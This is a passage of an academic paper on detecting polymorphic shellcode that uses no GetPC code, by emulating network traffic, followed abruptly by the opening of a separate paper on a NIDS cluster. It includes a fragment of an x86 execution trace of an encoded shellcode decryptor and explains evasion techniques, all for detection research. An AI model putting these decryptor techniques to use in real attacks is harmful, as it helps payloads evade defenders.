12 bfff002c 50 push eax ; [BFFF029C] = "EFGH"
13 bfff002d 2D2D2D2D2D sub eax,0x2d2d2d2d ; eax = 1B1A1918
14 bfff0032 2D5E5E5E5E sub eax,0x5e5e5e5e ; eax = BCBBBABA
15 bfff0037 2D79787878 sub eax,0x78787879 ; eax = 44434241
16 bfff003c 50 push eax ; [BFFF0298] = "ABCD"

...

Fig. 4. Execution trace of a shellcode produced by the “Encode” engine. The shellcode is assumed
to be placed on the stack, and esp initially points to the first instruction.
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Fig. 5. Schematic representation of the decryption process for the “Encode” engine

it is possible to construct a shellcode that, although it carries an encrypted payload, will
not result to any memory reads from its own memory addresses.

Figure 4 shows the execution trace of a shellcode produced by an adapted version
of the “Encode” shellcode engine [26], developed by Skape according to a previous
description of Riley Eller [11]. In this case, the vulnerable buffer is assumed to be
located on the stack, so esp happens to point to the beginning of the shellcode. In-
structions 0–6 are used to set esp to point far ahead of the decryptor code (in higher
memory addresses). Then, after zeroing eax (instructions 7–8), the decryption process
begins, again using separate decryption blocks (9–12, 13–16, ...) for each four bytes
of the encrypted payload. However, in this case, each decryption block consists only
of arithmetic instructions with a register and an immediate operand, and ends with a
push instruction. Each group of arithmetic instructions calculates the final value of
the corresponding payload block, which is then pushed on the stack. In essence, the
data of the encrypted payload are integrated into the immediate values of the arithmetic
instructions, so no actual encrypted data exist in the initial attack vector.

Due to the nature of the stack, the decrypted payload is produced backwards, starting
with its last four bytes. When the final decrypted block is pushed on the stack, the flow
of control of the decryptor will “meet” the newly built payload, and the execution will
continue normally, as depicted in Fig. 5. Notice that during the whole execution of the
shellcode, only two memory reads are performed by the two pop instructions, but not
from any of the addresses of the injected code.
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4 Non-self-contained Polymorphic Shellcode Detection

4.1 Approach

Achieving the effective detection of a certain class of polymorphic shellcodes using
network-level emulation requires the fulfillment of two basic requirements. First, the
detector should be able to accurately reproduce the execution of the shellcode in exactly
the same way as if it would run within the context of the vulnerable process. Second, it
should be possible to identify a certain execution behavior pattern that can be used as
a strict heuristic for the effective differentiation between the execution of polymorphic
shellcode and random code. In this section, we discuss these two dimensions regarding
the detection of non-self-contained shellcode.

Enabling Non-self-contained Shellcode Execution. As discussed in the previous sec-
tion, some shellcodes rely on a register that happens to contain the base address of the
injected code, instead of using some form of GetPC code. Such shellcodes cannot be
executed properly by the existing network-level emulation approach, since before each
execution, all general purpose registers are set to random values. Thus, the register that
is assumed to hold the base address will not have been set to the correct value, and the
decryption process will fail. Therefore, our first aim is to create the necessary condi-
tions that will allow the shellcode to execute correctly. In essence, this requires to set
the register that is used by the shellcode for finding its base address to the proper value.

The emulator maps each new input stream to an arbitrary memory location in its
virtual memory. Thus, it can know in advance the absolute address of the hypothetical
buffer where the shellcode has been mapped, and as a corollary, the address of the
starting position of each new execution chain. For a given position in the buffer that
corresponds to the beginning of a non-self-contained shellcode, if the base register has
been initialized to point to the address of that position, then the shellcode will execute
correctly. Since we always know the base address of each execution chain, we can
always set the base register to the proper value.

The problem is that it is not possible to know in advance which one of the eight
general purpose registers will be used by the shellcode for getting a reference to its
base address. For instance, it might be ecx or esp, as it was the case in the two ex-
amples of the previous section, or in fact any other register, depending on the exploit.
To address this issue, we initialize all eight general purpose registers to hold the ab-
solute address of the first instruction of each execution chain. Except the dependence
on the base register, all other operations of the shellcode will not be affected from such
a setting, since the rest of the code is self-contained. For instance, going back to the
execution trace of Fig. 2, when the emulator begins executing the code starting with the
instruction at address 0x60000000, all registers will have been set to 0x60000000.
Thus, the calculations for setting ecx to point to the encrypted payload will proceed
correctly, and the 9th instruction will indeed decrypt the first four bytes of the payload
at address 0x60000171. Note that the stack grows downwards, towards lower mem-
ory addresses, in the opposite direction of code execution, so setting esp to point to
the beginning of the shellcode does not affect its correct execution, e.g. due to push
instructions that write on the stack.
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Behavioral Heuristic. Having achieved the correct execution of non-self-contained
shellcode on the network-level emulator, the next step is to identify a strict behavioral
pattern that will be used as a heuristic for the accurate discrimination between malicious
and benign network data. Such a heuristic should rely to as few assumptions about the
structure of the shellcode as possible, in order to be resilient to evasion attacks, while
at the same time should be specific enough so as to minimize the risk of false positives.

Considering the execution behavior of the shellcodes presented in the previous sec-
tion, we can make the following observations. First, the absence of any form of GetPC
code precludes the reliance on the presence of specific instructions as an indication of
non-self contained shellcode execution, as was the case with the call or fstenv
groups of instructions, which are a crucial part of the GetPC code. Indeed, all opera-
tions of both shellcodes could have been implemented in many different ways, using
various combinations of instructions and operands, especially when considering ex-
ploits in which the use of a broader range of byte values is allowed in the attack vector.
Second, we observe that the presence of reads from the memory locations of the input
buffer during the decryption process is not mandatory, as demonstrated in Sec. 3.2, so
this also cannot be used as an indication of non-self-contained shellcode execution.

However, it is still possible to identify some indispensable behavioral characteristics
that are inherent to all such non-self-contained polymorphic shellcodes. An essential
characteristic of polymorphic shellcodes in general is that during execution, they even-
tually unveil their initially concealed payload, and this can only be done by writing
the decrypted payload to some memory area. Therefore, the execution of a polymor-
phic shellcode will unavoidably result to several memory writes to different memory
locations. We refer to such write operations to different memory locations as “unique
writes.” Additionally, after the end of the decryption process, the flow of control will in-
evitably be transferred from the decryptor code to the newly revealed code. This means
that the instruction pointer will move at least once from addresses of the input buffer
that have not been altered before (the code of the decryptor), to addresses that have
already been written during the same execution (the code of the decrypted payload).
For the sake of brevity, we refer to instructions that correspond to code at any memory
address that has been written during the same execution chain as “wx-instructions.”

It is important to note that the decrypted payload may not be written in the same
buffer where the attack vector resides [20]. Furthermore, one could construct a shellcode
in which the unique writes due to the decryption process will be made to non-adjacent
locations. Finally, wx-instructions may be interleaved with non-wx-instructions, e.g.,
due to self-modifications before the actual decryption, so the instruction pointer may
switch several times between unmodified and modified memory locations.

Based on the above observations, we derive the following detection heuristic: if at
the end of an execution chain the emulator has performed W unique writes and has ex-
ecuted X wx-instructions, then the execution chain corresponds to a non-self-contained
polymorphic shellcode. The intuition behind this heuristic is that during the execution
of random code, although there will probably be a lot of random write operations to
arbitrary memory addresses, we speculate that the probability of the control flow to
reach such a modified memory address during the same execution will be low. In the
following, we elaborate on the details behind this heuristic.
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Unique memory writes. The number of unique writes (W ) in the heuristic serves just as
a hint for the fact that at least a couple of memory locations have been modified during
the same execution chain—a prerequisite for the existence of any wx-instructions. The
parameter W cannot be considered as a qualitatively strong detection heuristic because
the execution of random code sometimes exhibits a large number of accidental memory
writes. The emulator does not have a view of the vulnerable process’ memory layout,
and thus cannot know which memory addresses are valid and writable, so it blindly
accepts all write operations to any location, and keeps track of the written values in its
own virtual memory. The decryption process of a polymorphic shellcode will too result
to tens or even hundreds of memory writes. This makes the number of unique writes
per se a weak indication for the execution of polymorphic shellcode, since random code
sometimes results to a comparable number of writes.

Although this does not allow us to derive a threshold value for W that would be
reached only during the execution of polymorphic shellcode, we can derive a lower
bound for W , given that any regularly sized encrypted payload will require quite a few
memory writes in order to be decrypted. Considering that the decryption of a 32-byte
payload —a rather conservatively small size for a meaningful payload, as discussed
in Sec. 5.2— would require at least 8 memory writes (using instructions with 4-byte
operands), we set W = 8. This serves as a “negative” heuristic for deciding quickly the
absence of shellcode, which effectively filters out a lot of execution chains with very
few memory writes that cannot correspond to any functional polymorphic shellcode.

Execution of decrypted instructions. Although the number of unique writes alone can-
not provide a strong positive indication for shellcode detection, we expected that the
number of wx-instructions in random code would be very low, which would allow for
deriving a definite detection threshold that would never be reached by random code. A
prerequisite for the execution of code from a recently modified memory address is that
the instruction pointer should first be changed to point to that memory address. Intu-
itively, the odds for this to happen in random code are quite low, given that most of the
modified locations will be dispersed across the whole virtual address space of the emu-
lator, due to the random nature of memory writes. Even if the control flow ever lands on
such a memory address, most probably it will contain just a few valid instructions. In
contrast, self-decrypting shellcode will result to the execution of tens or even hundreds
of wx-instructions, due to the execution of the decrypted payload.

We conducted some preliminary experiments using real network traces and ran-
domly generated data in order to explore the behavior of random code in terms of
wx-instructions. The percentage of instruction chains with more than 8 unique writes
and at least one wx-instruction was in the order of 0.01% for artificial binary data,
while it was negligible for artificial ASCII data and real network traces. However, there
were some rare cases of streams in which some execution chain contained as much as
60 wx-instructions. As we discuss in Sec. 5.2, the execution of the decrypted payload
may involve less than 60 wx-instructions, so the range in which an accurate detection
threshold value for X could exist is somehow blurred. Although one could consider the
percentage of these outlying streams as marginal, and thus the false positive ratio as
acceptable, it is still possible to derive a stricter detection heuristic that will allow for
improved resilience to false positives.
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add [ecx+0x3],eax
inc ecx
inc edx
inc ebx
inc esp

01 41 03 41 42 43 44
add [ecx+0x3],eax

01 41 03 41 42 43 44

inc ecx
inc edx
inc ebx
inc esp

ecx
eax=0x04030201

(b) (c)

wx-instructions

add [ecx+0x3],eax
inc eax
inc eax
inc eax
inc eax

01 41 03 40 40 40 40

(a)

Fig. 6. An example of accidental occurrence of wx-instructions in random code

Second-stage execution. The existence of some execution chains with a large number
of wx-instructions in random code is directly related to the initialization of the general
purpose registers before each new execution. Setting all registers to point to the address
of the first instruction of the execution chain facilitates the accidental modification of
the input stream itself, e.g., in memory addresses farther (in higher memory addresses)
from the starting position of the execution chain. An example of this effect is presented
in Fig. 6. Initially (Fig. 6a), when the flow of control reaches the instruction starting
with byte 01, ecx happens to point to the same instruction, and eax holds the value
0x04030201. The effective address calculation in add [ecx+0x3],eax (Fig. 6b)
involves ecx, and its execution results to a 4-byte memory write within the buffer, right
after theadd instruction. This simple self-modification causes the execution of four wx-
instructions (Fig. 6c). Note that after the execution of these four wx-instructions, the
flow of control will continue normally with the subsequent instructions in the buffer, so
the same effect may occur multiple times.

In order to mitigate this effect, we introduce the concept of second-stage execution.
For a given position in the input stream, if the execution chain that starts from this posi-
tion results to more than 8 unique writes and has at least 14 wx-instructions,1 then it is
ignored, and the execution from this position is repeated eight times with eight different
register initializations. Each time, only one of the eight general purpose registers is set
to point to the starting location. The remaining seven registers are set to random values.

The rationale is that a non-self-contained shellcode that uses some register for find-
ing its base address will run correctly both in the initial execution, when all registers
point to the starting position, as well as in one of the eight subsequent second-stage
executions—the one in which the particular base register being used by the decryp-
tor will have been properly initialized. At the same time, if some random code enters
second-stage execution, the chances for the accidental occurrence of a large number of
wx-instructions in any of the eight new execution chains are significantly lower, since
now only one of the eight registers happens to point within the input buffer.

1 As discussed in Sec. 5.2, a functional payload results to at least 14 wx-instructions.
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dec edi
xor al,0x25
and eax,0x6e424104
add al,0x41
inc ecx
inc edx
outsb

4F 34 25 04 41 42 6E
0 1 2 3 4 5 6

Fig. 7. Example of an illegal instruction path

Although second-stage execution incurs an eight times increase in the emulation
overhead, its is only triggered for a negligible fraction of execution chains, so it does
not incur any noticeable runtime performance degradation. At the same time, it results
to a much lower worst-case number of accidental wx-instructions in benign streams, as
shown in Sec. 5.1, which allows for deriving a clear-cut threshold for X .

4.2 Performance Optimizations

Skipping Illegal Paths. The main reason that network-level emulation is practically
feasible and achieves a decent processing throughput is because, in the most common
case, the execution of benign streams usually terminates early, after the execution of
only a few instructions. Indeed, arbitrary data will result to random code that usually
contains illegal opcodes or privileged instructions, which cannot take part in the exe-
cution of a functional shellcode. Although there exist only a handful of illegal opcodes
in the IA-32 architecture, there exist 25 privileged instructions with one-byte opcodes,
and several others with multi-byte opcodes. In the rest of this section, we use the term
illegal instruction to refer to both privileged and actually illegal instructions.

A major cause of overhead in network-level emulation is that for each input stream,
the emulator starts a new execution from each and every position in the stream. How-
ever, since the occurrence of illegal instructions is common in random code, there may
be some instruction chains which all end to the same illegal instruction. After the ex-
ecution of the first of these chains terminates (due to the illegal instruction), then any
subsequent execution chains that share the same final instruction path with the first one
will definitely end up to the same illegal instruction, if i) the path does not contain any
control transfer instructions, ii) none of the instructions in the path was the result of
a self-modification, and iii) the path does not contain any instruction with a memory
destination operand. The last requirement is necessary in order to avoid potential self-
modifications on the path that may alter its control flow. Thus, whenever the flow of
control reaches any of the instructions in the path, the execution can stop immediately.

Consider for example the execution chain that starts at position 0 in the example of
Fig. 7. Upon its termination, the emulator backtracks the instruction path and marks
each instruction until any of the above requirements is violated, or the beginning of the
input stream is reached. If any subsequent execution chain reaches a marked instruction,
then the execution ceases immediately. Furthermore, the execution chains that would
begin from positions 1, 3, 5, and 6, can now be skipped altogether.
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Table 1. Details of the client-initiated network traffic traces used in the experimental evaluation

Name Port Number Number of streams Total size
HTTP 80 6511815 5.6 GB
NetBIOS 137–139 1392679 1.5 GB
Microsoft-ds 445 2585308 3.8 GB
FORTH-ICS all 668754 821 MB

Kernel Memory Accesses. The network-level detector does not have any informa-
tion about the vulnerable process targeted by a particular attack. As already discussed,
the emulator assumes that all accesses to any memory address are valid. In reality,
only a small subset of these memory accesses would have succeeded, since the hypo-
thetical vulnerable process would have mapped only a small subset of pages from the
whole 4GB virtual memory space. Thus, memory writes outside the input buffer or
the stack proceed normally and the emulator tracks the written values, while memory
reads from previously unknown locations are executed without returning any mean-
ingful data, since their contents are not available to the network-level detector. The
execution cannot stop on such unknown memory references, since otherwise an at-
tacker could hinder detection by interspersing instructions that read arbitrary data from
memory locations known in advance to belong to the address space of the vulnerable
process [22].

The network-level emulation approach assumes that the whole 4GB of virtual mem-
ory may be accessible by the shellcode. However, user-level processes cannot access
the address space of the OS kernel. In Linux, the kernel address space begins at address
0xC0000000 and takes up the whole upper 1GB of the 4GB space. In Windows, the
upper half of the 4GB space is allocated for kernel use. A functional shellcode would
never try to access a memory address in the kernel address space, so any instructions in
random code that accidentally try to access some kernel memory location can be con-
sidered illegal. For simplicity, the emulator assumes as legal all memory accesses up
to 0xBFFFFFFF, i.e., excludes only the common kernel space of both OSes, since it
cannot know in advance which OS is being targeted.

5 Experimental Evaluation

5.1 Deriving a Robust Detection Threshold

The detection algorithm is based on a strict behavioral pattern that matches some execu-
tion characteristics of non-self-contained polymorphic shellcode. In order to be effec-
tive and practically applicable, a heuristic based on such a behavioral pattern should not
falsely identify benign data as polymorphic shellcode. In this section, we explore the
resilience of the detector to false positives using a large and diverse attack-free dataset.

We accumulated full payload packet traces of frequently attacked ports captured
at FORTH-ICS and the University of Crete across several different periods. We also
captured a two hour long trace of all the TCP traffic of the access link that connects
FORTH-ICS to the Internet. Since we are interested in client-initiated traffic, which
contains requests to network services, we keep only the packets that correspond to the
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client-side stream of each TCP flow. For large flows, which for example may corre-
spond to file uploads, we keep the packets of the first 64KB of the stream. Trace details
are summarized in Table 1. Note that the initial size of the FORTH-ICS trace, before ex-
tracting the client-initiated only traffic, was 106GB. We also generated a large amount
of artificial traces using three different kinds of uniformly distributed random content:
binary data, ASCII-only data, and printable-only characters. For each type, we gener-
ated four million streams, totaling more than 160GB of data.

We tested our prototype implementation of the detection heuristic with second-stage
execution enabled using the above dataset, and measured the maximum number of acci-
dental wx-instructions among all execution chains of each stream. The execution thresh-
old of the emulator was set to 65536 instructions. Figure 8 presents the results for the
different types of random data, as well as for the real network streams (the category
“network traces” refers collectively to all network traces listed in Table 1). We see that
random binary data exhibit the largest number of wx-instructions, followed by printable
data and real network traffic. From the four million random binary streams, 0.8072%
contain an execution chain with one wx-instruction, while in the worst case, 0.00014%
of the streams resulted to seven wx-instructions. In all cases, no streams were found to
contain an execution chain with more than seven wx-instructions.

Based on the above results, we can derive a lower bound for the number of wx-
instructions (parameter X of the detection heuristic) that should be found in an execu-
tion chain for flagging the corresponding code as malicious. Setting X=8 allows for no
false positives in the above dataset. However, larger values are preferable since they are
expected to provide even more improved resilience to false positives.

5.2 Non-self-contained Shellcode Detection

CPU execution threshold. As discussed in Sec. 4.1, the execution of non-self-contained
shellcode will exhibit several wx-instructions, due to the execution of the decrypted pay-
load. However, a crucial observation is that most of these wx-instructions will occur after
the end of the decryption process, except perhaps any self-modifications during the boot-
strap phase of the decryptor [22,33]. Thus, the emulator should execute the shellcode for
long enough in order for the decryption to complete, and then for the decrypted payload
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to execute, for actually identifying the presence of wx-instructions. This means that the
CPU execution threshold should be large enough to allow for the complete execution of
the shellcode.

The number of executed instructions required for the complete decryption of the
payload is directly related to i) the decryption approach and its implementation (e.g.,
decrypting one vs. four bytes at a time), and ii) the size of the encrypted payload.
We used off-the-shelf polymorphic shellcode engines that produce non-self-contained
shellcode to encrypt payloads of different sizes. We generated mutations of a hypo-
thetical payload ranging in size from 64 to 576 bytes, in 64-byte increments, using
the Avoid UTF8/tolower [1, 27], Encoder [11, 26], and Alpha2 [33] shellcode engines.
The size of the largest IA-32 payload contained in the Metasploit Framework v3.0,
windows/adduser/reverse http, is 553 bytes, so we chose a slightly larger
value of 576 bytes as a worst case scenario.

Figure 9 shows the number of executed instructions for the complete decryption
of the payload, for different payload sizes. As expected, the number of instructions
increases linearly with the payload size, since all engines spend an equal amount of
instructions per encrypted byte during decryption. Alpha2 executes considerably more
instructions compared to the other two engines, and in the worst case, for a 576-byte
payload, takes 6374 instructions to complete. Thus, we should choose an execution
threshold significantly larger than the 2048 instructions that is suggested in the existing
network-level emulation approach [22].

Setting a threshold value for X . A final dimension that we need to explore is the
minimum number of wx-instructions (X) that should be expected during shellcode ex-
ecution. As we have already mentioned, this number is directly related to the size of
the encrypted payload: the smaller the size of the concealed code, the fewer the number
of wx-instructions that will be executed. As shown in the previous section, the thresh-
old value for X should be set to at least 8, in order to avoid potential false positives.
Thus, if the execution of the decrypted payload would result to a comparable number
of wx-instructions, then we would not be able to derive a robust detection threshold.

Fortunately, typical payloads found in remote exploits usually consist of much more
than eight instructions. In order to verify the ability of our prototype implementation
to execute the decrypted payload upon the end of the decryption process, we tested it
with the IA-32 payloads available in Metasploit. Note that although the network-level
emulator cannot correctly execute system calls or follow memory accesses to addresses
of the vulnerable process, whenever such instructions are encountered, the execution
continues normally (e.g., in case of an int 80 instruction, the code continues as if
the system call had returned). In the worst case, the linux/x86/exec family of
payloads, which have the smallest size of 36 bytes, result to the execution of 14 instruc-
tions. All other payloads execute a larger number of instructions. Thus, based on the
number of executed instructions of the smallest payload, we set X=14. This is a rather
conservative value, given that in practice the vast majority of remote exploits in the wild
are targeting Windows hosts, so in the common case the number of wx-instructions of
the decrypted payload will be much higher.
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Payloads targeting Linux hosts usually have a very small size due to the direct invo-
cation of system calls through the int 80 instruction. In contrast, payloads for Win-
dows hosts usually involve a much higher number of instructions. Windows shellcode
usually does not involve the direct use of system calls (although this is sometimes pos-
sible [5]), since their mapping often changes across different OS versions, and some
crucial operations, e.g., the creation of a socket, are not readily offered through system
calls. Instead, Windows shellcode usually relies on system API calls that offer a wide
range of advanced functionality (e.g., the ability to download a file from a remote host
through HTTP using just one call). This, however, requires to first locate the necessary
library functions, which involves finding the base address of kernel32.dll, then
resolving symbol addresses, and so on. All these operations result to the execution of a
considerable number of instructions.

In any case, even a conservative value for X=14, which effectively detects both Linux
and Windows shellcode, is larger enough than the seven accidental wx-instructions that
were found in benign data, and thus allows for a strong heuristic with even more im-
proved resilience to false positives.

5.3 Processing Throughput

In this section, we evaluate the raw processing throughput of the proposed detection
algorithm. We have implemented the new detection heuristic on our existing prototype
network-level detector [22], which is based on a custom IA-32 CPU emulator that uses
interpretive emulation. We measured the user time required for processing the network
traces presented in Table 1, and computed the processing throughput for different values
of the CPU execution threshold. The detector was running on a PC equipped with a
2.53GHz Pentium 4 processor and 1GB RAM, running Debian Linux (kernel v2.6.18).
Figure 10 presents the results for the four different network traces.

As expected, the processing throughput decreases as the CPU execution threshold
increases, since more cycles are spent on streams with very long execution chains or
seemingly endless loops. We measured that in the worst case, for port 445 traffic, 3.2%
of the streams reach the CPU execution threshold due to some loop when using a thresh-
old higher than 8192. This percentage remains almost the same even when using a
threshold as high as 131072 instructions, which means that these loops would require a
prohibitively large number of iterations until completion.

Overall, the runtime performance has been slightly improved compared to our pre-
vious network-level emulation prototype. Although the algorithmic optimizations pre-
sented in Sec. 4.2 offer considerable runtime performance improvements, any gain is
compensated by the more heavy utilization of the virtual memory subsystem and the
need to frequently undo accidental self-modifications in the input stream.

Port 80 traffic exhibits the worst performance among all traces, with an almost con-
stant throughput that drops from 12 to 10 Mbit/s. The throughput is not affected by the
CPU execution threshold because i) the zero-delimited chunk optimization2 is not ef-
fective because HTTP traffic rarely contains any null bytes, and ii) the execution chains

2 Given that in the vast majority of exploits the attack vector cannot contain a null byte, the
detector skips any zero-byte delimited regions smaller than 50 bytes, since they are too small
to contain a functional polymorphic shellcode [22].
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of port 80 traffic have a negligible amount of endless loops, so a higher CPU execution
threshold does not result to the execution of more instructions due to extra loop itera-
tions. However, ASCII data usually result to very long and dense execution chains with
many one or two byte instructions, which consume a lot of CPU cycles.

We should stress that our home-grown CPU emulator is highly unoptimized, and
the use of interpretive emulation results to orders of magnitude slowdown compared to
native execution. It is expected that an optimized CPU emulator like QEMU [6] would
boost performance, and we plan in our future work to proceed with such a change.

Nevertheless, the low processing throughput of the current implementation does not
prevent it from being practically usable. In the contrary, since the vast majority of the
traffic is server-initiated, the detector inspects only a small subset of the total traffic of
the monitored link. For example, web requests are usually considerably smaller than
the served content. Note that all client-initiated streams are inspected, in both direc-
tions. Furthermore, even in case of large client-initiated flows, e.g., due to file uploads,
the detector inspects only the first 64KB of the client stream, so again the vast amount
of the traffic will not be inspected. Indeed, as shown in Fig. 11, when processing the
complete 106GB long trace captured at FORTH-ICS, the processing throughput is or-
ders of magnitude higher. Thus, the detector can easily sustain the traffic rate of the
monitored link, which for this 2-hour long trace was on average around 120 Mbit/s.

6 Real-World Deployment

In this section, we present some attack activity results from a real-world deployment of
our prototype detector implementation. The detector is installed on a passive monitoring
sensor that inspects the traffic of the access link that connects part of an educational
network with hundreds of hosts to the Internet. The detector has been continuously
operational since 7 November 2006, except a two-day downtime on January.

As of 14 June 2007, the detector has captured 21795 attacks targeting nine different
ports. An overall view of the attack activity during these seven months is presented in
Fig. 12. The upper part of the figure shows the attack activity according to the targeted
port. From the 21795 attacks, 14956 (68.62%) were launched from 5747 external IP
addresses (red dots), while the rest 6839 (31.38%) originated from 269 infected hosts in
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Fig. 12. Overall attack activity from a real-world deployment of our prototype detector

the monitored network (gray dots). Almost one third of the internal attacks came from a
single IP address, using the same exploit against port 445. The bottom part of the figure
shows the number of attacks per hour of day. There are occasions with hundreds of
attacks in one hour, mostly due to bursts from a single source that horizontally attacks all
active hosts in local neighboring subnets. The vast majority of the attacks (88%) target
port 445. Interestingly, however, there also exist attacks to less commonly attacked ports
like 1025, 1051, and 5000. We should note that for all captured attacks the emulator was
able to successfully decrypt the payload, while so far has zero false positives.

For each identified attack, our prototype detector generates i) an alert file with generic
attack information and the execution trace of the shellcode, ii) a raw dump of the re-
assembled TCP stream, iii) a full payload trace of all attack traffic (both directions) in
libpcap format,3 and iv) the raw contents of the modified addresses in the virtual
memory of the emulator, i.e., the decrypted shellcode.

Although we have not thoroughly analyzed all captured attacks, we can get a rough
estimate on the diversity of the different exploitation tools, worms, or bots that launched
these attacks, based on a simple analysis of the decrypted payloads of the captured poly-
morphic shellcodes. Computing the MD5 hash of the decrypted payload for all above
attacks resulted to 1021 unique payloads. However, grouping further these 1021 pay-
loads according to their size, resulted to 64 different payload size groups. By manu-
ally inspecting some of the shellcodes with same or similar lengths, but different MD5
hashes, we observed that in most cases the actual payload code was the same, but the
seeding URL or IP address from where the “download and execute” shellcode would
retrieve the actual malware was different. Our results are in accordance with previous
studies [17] and clearly show that polymorphic shellcodes are extensively used in the
wild, although in most cases they employ naive encryption methods, mostly for con-
cealing restricted payload bytes.

3 Anonymized full payload traces of some attacks are available from
http://lobster.ics.forth.gr/traces/

http://lobster.ics.forth.gr/traces/
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7 Limitations

The increasing complexity of polymorphic shellcodes results to a corresponding in-
crease in the processing time required for reasoning weather an input stream is mali-
cious. Indeed, while self-contained polymorphic shellcode can effectively be detected
using only 2K instructions per execution chain [22], non-self-contained shellcode, re-
quires a CPU execution threshold in the order of 8K instructions. However, shellcode
produced by advanced engines like TAPiON [4] sometimes requires up to 16K instruc-
tions for the complete decryption of an 128-byte payload [22], and can exceed 64K
instructions for 512-byte payloads. Although such shellcodes use some form of GetPC
code, and thus can be easily detected by the existing self-contained shellcode heuristic,
if they begin to adopt non-self-contained techniques as those presented in this paper,
then network-level emulation should be deployed with high execution thresholds, in the
order of 128K instructions.

Fortunately, even in case we have to spend so many cycles per inspected input,
network-level emulation is still practical, although with a reduced throughput, as we
showed in Sec. 5.3. However, in the extreme case, an attacker could construct a decryp-
tor that could spend millions of instructions, maybe even before the actual decryption
process has begun at all, just for reaching the execution threshold before revealing any
signs of polymorphic behavior [22]. Such “endless” loops are a well-known problem
in the area of dynamic code analysis, and we are not aware of any effective solution
so far. Fortunately, the percentage of benign streams that reach the execution threshold
is under 3.2%, as discussed in Sec. 5.3, so if attackers start to employ such evasion
techniques, network-level emulation can still be useful as a first-stage anomaly detector
for application-aware NIDS like shadow honeypots [3], by considering as suspicious all
streams that reach the execution threshold.

Finally, here we have considered only the class of non-self-contained shellcode that
takes advantage of some register to get a reference to the absolute address of the in-
jected code in order to decrypt. However, it could be possible to construct a shellcode
that during decryption uses some data or code from memory locations with a priori
known contents, which should remain constant across all vulnerable systems. Since the
network-level detector lacks any host-level information, it would not be able to execute
such shellcode properly. In general, however, the use of hard-coded addresses is avoided
because it results in more fragile code [25], especially since address space randomiza-
tion has become prevalent in popular OSes, and significantly complicates the imple-
mentation of polymorphic shellcode engines. In our future work, we plan to explore
ways to augment the network-level detector with host-level context [10] for enabling
the detection of a broader class of non-self-contained shellcodes.

8 Conclusion

In this paper, we have presented a novel approach for the detection of a certain class of
non-self-contained polymorphic shellcodes using dynamic code analysis of network-
level data. We have extended previous work on network-level emulation to correctly
handle the execution and identify the behavior of polymorphic shellcodes that do not
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use any form of GetPC code, but instead rely on some register that happens during
exploitation to contain the base address of the injected code. This demonstrates that in
certain cases where some certain host-level state is used by the shellcode, detection at
the network level is still possible.

Such advanced analysis comes at the cost of spending more CPU cycles per input,
which reduces the runtime throughput of the detector, but still allows it to achieve a
decent performance on real-world deployments. However, certain evasion methods are
still possible, and the problem of effectively tackling them at the network-level remains
open. Nevertheless, we believe that the ability to accurately detect previously unknown
polymorphic shellcodes with virtually zero false positives, and the simplicity of its de-
ployment, make network-level emulation an effective and practical defense method.
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Abstract. In this work we present a NIDS cluster as a scalable solution
for realizing high-performance, stateful network intrusion detection on
commodity hardware. The design addresses three challenges: (i) distrib-
uting traffic evenly across an extensible set of analysis nodes in a fashion
that minimizes the communication required for coordination, (ii) adapt-
ing the NIDS’s operation to support coordinating its low-level analysis
rather than just aggregating alerts; and (iii) validating that the cluster
produces sound results. Prototypes of our NIDS cluster now operate at
the Lawrence Berkeley National Laboratory and the University of Cal-
ifornia at Berkeley. In both environments the clusters greatly enhance
the power of the network security monitoring.

1 Introduction

The performance required to implement effective network security monitoring
poses major challenges for the underlying hardware. Many network intrusion
detection systems (NIDSs), both open-source and commercial, are based on in-
expensive commodity hardware. However, today the processing required to an-
alyze even a single well-loaded Gbps traffic stream at any significant depth is
beyond the reach of single workstations, and the technology trends threaten to
widen this gap in the future, not narrow it [10].

Faced with this performance gap, we must abide either (i) curtailing our
analysis, (ii) turning to expensive, custom hardware, or (iii) employing some
form of load-balancing to split the analysis across multiple commodity systems.
In this work we pursue the third of these, because of the appeal of retaining the
great flexibility and cost benefits of using commercial PC hardware. With this
approach a “frontend” divides the traffic stream among the analysis nodes, each
of which gets a share of the total network traffic to analyze in depth.

Conceptually, such a setup is easy to extend with increasing traffic volumes
by simply deploying more boxes. However, the key challenge with such a system
is how to correlate the analysis performed by each node, as otherwise attacks
that span more than what one system sees will go undetected.

Unfortunately, this is where things get tricky. While all major NIDS provide
support for multi-system configurations, typically individual instances (often
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termed sensors) connect to a central manager that correlates their results. The
information exchanged tends to be very high-level: often just alerts that already
present the conclusion of a sensor’s analysis. Many inter-connection attacks,
however, require much finer-grained correlation. As a simple example, to reliably
detect a scan we need to track connection attempts across the full traffic stream.
Hence, instead of correlating results, what we really need is to correlate the
underlying analysis.

In this work, we build such a system. We term it the NIDS cluster : a set of
commodity PCs that collaboratively analyze a traffic stream without sacrificing
accuracy of the detection. Individual cluster nodes run instances of a NIDS and
transparently exchange low-level analysis state to compose a global picture of
the network activity. As a whole, the cluster transparently performs the same
analysis a single instance of the NIDS would if it could cope by itself with the
full network load.

When designing our system we faced three challenges: (i) distributing traffic
across the nodes in a fashion that minimizes the communication required for
correlation, yet avoids overloading any particular node; (ii) adapting the NIDS’s
operation to support coordinating its lower-level; and (iii) validating that the
cluster produces sound results. We will discuss each of these in depth.

The original motivation for our work arose from the operational network mon-
itoring setup at the Lawrence Berkeley National Laboratory (LBNL), which con-
nects thousands of users/hosts to the Internet via a 10 Gbps access link. The
lab’s primary monitoring is done using Bro [9], an open-source NIDS running on
commodity hardware. Since no single instance of the system can analyze LBNL’s
traffic in sufficient depth, over time the setup evolved into a configuration that
uses a number of separate, uncoordinated Bro instances running on an inhomo-
geneous set of PCs (and even this setup still cannot analyze all traffic). Each
instance performs a dedicated task (e.g., one analyzes only HTTP traffic) in
isolation, and each system individually reports its results to the Lab’s analysts.
Thus, we desired to remedy the lack of coordinated analysis without sacrificing
the very major benefits of using commodity, general-purpose hardware.

Thus, when designing the NIDS cluster we naturally targeted Bro as the
underlying analysis engine for the backend nodes. In addition to fitting with the
operational environment, Bro had the significant benefit that it already provides
mechanisms for coordinating lower-level analysis (rather than only high-level
results such as alerts) by means of its independent state framework [17]. Due to
our choice of Bro, in the subsequent discussion we sometimes have to delve into
particulars of the system. We note, however, that generally our approach applies
well to other systems that support general low-level messaging functionality.

We now operate a prototype of our NIDS cluster at LBNL in parallel with the
sites’ operational monitoring, which it will eventually replace. Another prototype
installation monitors the access link of the University of California at Berkeley
(UCB), and an earlier prototype ran at IEEE Supercomputing 2006, the premier
international conference on high performance computing, networking and stor-
age. There, two separate clusters monitored the conference’s primary 1 Gbps
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backbone network as well as portions of the 100 Gbps High Speed Bandwidth
